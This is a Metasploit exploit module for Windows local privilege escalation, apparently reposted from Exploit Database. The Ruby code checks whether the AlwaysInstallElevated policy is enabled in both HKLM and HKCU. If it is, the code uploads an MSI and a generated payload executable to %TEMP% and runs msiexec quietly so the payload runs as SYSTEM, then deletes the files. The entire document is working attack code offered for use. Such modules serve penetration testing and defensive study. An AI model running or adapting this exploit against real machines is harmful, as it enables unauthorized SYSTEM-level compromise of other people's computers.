Microsoft Windows – AlwaysInstallElevated MSI (Metasploit)

• Exploit Database
• 34 阅读

• 作者： Metasploit
  日期： 2012-11-29
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23007/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  require 'rex'
  require 'msf/core/post/windows/registry'
  require 'msf/core/post/common'
  require 'msf/core/post/file'
  
  class Metasploit3 < Msf::Exploit::Local
  	Rank = AverageRanking
  
  	include Msf::Exploit::EXE
  	include Msf::Post::Common
  	include Msf::Post::File
  	include Msf::Post::Windows::Registry
  
  	def initialize(info={})
  		super(update_info(info, {
  			'Name'=> 'Windows AlwaysInstallElevated MSI',
  			'Description'=> %q{
  					This module checks the AlwaysInstallElevated registry keys which dictate if
  				.MSI files should be installed with elevated privileges (NT AUTHORITY\SYSTEM).
  
  				The default MSI file is data/exploits/exec_payload.msi with the WiX source file
  				under external/source/exploits/exec_payload_msi/exec_payload.wxs. This MSI simply
  				executes payload.exe within the same folder.
  
  				The MSI may not execute succesfully successive times, but may be able to get around
  				this by regenerating the MSI.
  
  				MSI can be rebuilt from the source using the WIX tool with the following commands:
  				candle exec_payload.wxs
  				light exec_payload.wixobj
  			},
  			'License' => MSF_LICENSE,
  			'Author'=>
  				[
  					'Ben Campbell',
  					'Parvez Anwar' # discovery?/inspiration
  				],
  			'Arch'=> [ ARCH_X86, ARCH_X86_64 ],
  			'Platform'=> [ 'win' ],
  			'SessionTypes'=> [ 'meterpreter' ],
  			'DefaultOptions' =>
  				{
  					'WfsDelay' => 10,
  					'EXITFUNC' => 'thread',
  					'InitialAutoRunScript' => 'migrate -k -f'
  				},
  			'Targets' =>
  				[
  					[ 'Windows', { } ],
  				],
  			'References'=>
  				[
  					[ 'URL', 'http://www.greyhathacker.net/?p=185' ],
  					[ 'URL', 'http://msdn.microsoft.com/en-us/library/aa367561(VS.85).aspx' ],
  					[ 'URL', 'http://wix.sourceforge.net'] ,
  				],
  			'DisclosureDate'=> 'Mar 18 2010',
  			'DefaultTarget' => 0
  		}))
  
  		register_advanced_options([
  			OptString.new('LOG_FILE', [false, 'Remote path to output MSI log file to.', nil]),
  			OptBool.new('QUIET', [true, 'Run the MSI with the /quiet flag.', true])
  		], self.class)
  	end
  
  	def check
  		install_elevated = "AlwaysInstallElevated"
  		installer = "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer"
  		hkcu = "HKEY_CURRENT_USER\\#{installer}"
  		hklm = "HKEY_LOCAL_MACHINE\\#{installer}"
  
  		local_machine_value = registry_getvaldata(hklm,install_elevated)
  
  		if local_machine_value.nil?
  			print_error("#{hklm}\\#{install_elevated} does not exist or is not accessible.")
  			return Msf::Exploit::CheckCode::Safe
  		elsif local_machine_value == 0
  			print_error("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
  			return Msf::Exploit::CheckCode::Safe
  		else
  			print_good("#{hklm}\\#{install_elevated} is #{local_machine_value}.")
  			current_user_value = registry_getvaldata(hkcu,install_elevated)
  		end
  
  		if current_user_value.nil?
  			print_error("#{hkcu}\\#{install_elevated} does not exist or is not accessible.")
  			return Msf::Exploit::CheckCode::Safe
  		elsif current_user_value == 0
  			print_error("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
  			return Msf::Exploit::CheckCode::Safe
  		else
  			print_good("#{hkcu}\\#{install_elevated} is #{current_user_value}.")
  			return Msf::Exploit::CheckCode::Vulnerable
  		end
  	end
  
  	def cleanup
  		if not @executed
  			return
  		end
  
  		begin
  			print_status("Deleting MSI...")
  			file_rm(@msi_destination)
  		rescue Rex::Post::Meterpreter::RequestError => e
  			print_error(e.to_s)
  			print_error("Failed to delete MSI #{@msi_destination}, manual cleanup may be required.")
  		end
  
  		begin
  			print_status("Deleting Payload...")
  			file_rm(@payload_destination)
  		rescue Rex::Post::Meterpreter::RequestError => e
  			print_error(e.to_s)
  			print_error("Failed to delete payload #{@payload_destination}, this is expected if the exploit is successful, manual cleanup may be required.")
  		end
  	end
  
  	def exploit
  
  		if check != Msf::Exploit::CheckCode::Vulnerable
  			@executed = false
  			return
  		end
  
  		@executed = true
  
  		msi_filename = "exec_payload.msi" # Rex::Text.rand_text_alpha((rand(8)+6)) + ".msi"
  		msi_source = ::File.join(Msf::Config.install_root, "data", "exploits", "exec_payload.msi")
  
  		# Upload MSI
  		@msi_destination = expand_path("%TEMP%\\#{msi_filename}").strip # expand_path in Windows Shell adds a newline and has to be stripped
  		print_status("Uploading the MSI to #{@msi_destination} ...")
  
  		#upload_file - ::File.read doesn't appear to work in windows...
  		source = File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
  		write_file(@msi_destination, source)
  
  		# Upload payload
  		payload = generate_payload_exe
  		@payload_destination = expand_path("%TEMP%\\payload.exe").strip
  		print_status("Uploading the Payload to #{@payload_destination} ...")
  		write_file(@payload_destination, payload)
  
  		# Execute MSI
  		print_status("Executing MSI...")
  
  		if datastore['LOG_FILE'].nil?
  			logging = ""
  		else
  			logging = "/l* #{datastore['LOG_FILE']} "
  		end
  
  		if datastore['QUIET']
  			quiet = "/quiet "
  		else
  			quiet = ""
  		end
  
  		cmd = "msiexec.exe #{logging}#{quiet}/package #{@msi_destination}"
  		vprint_status("Executing: #{cmd}")
  		begin
  			result = cmd_exec(cmd)
  		rescue Rex::TimeoutError
  			vprint_status("Execution timed out.")
  		end
  		vprint_status("MSI command-line feedback: #{result}")
  	end
  end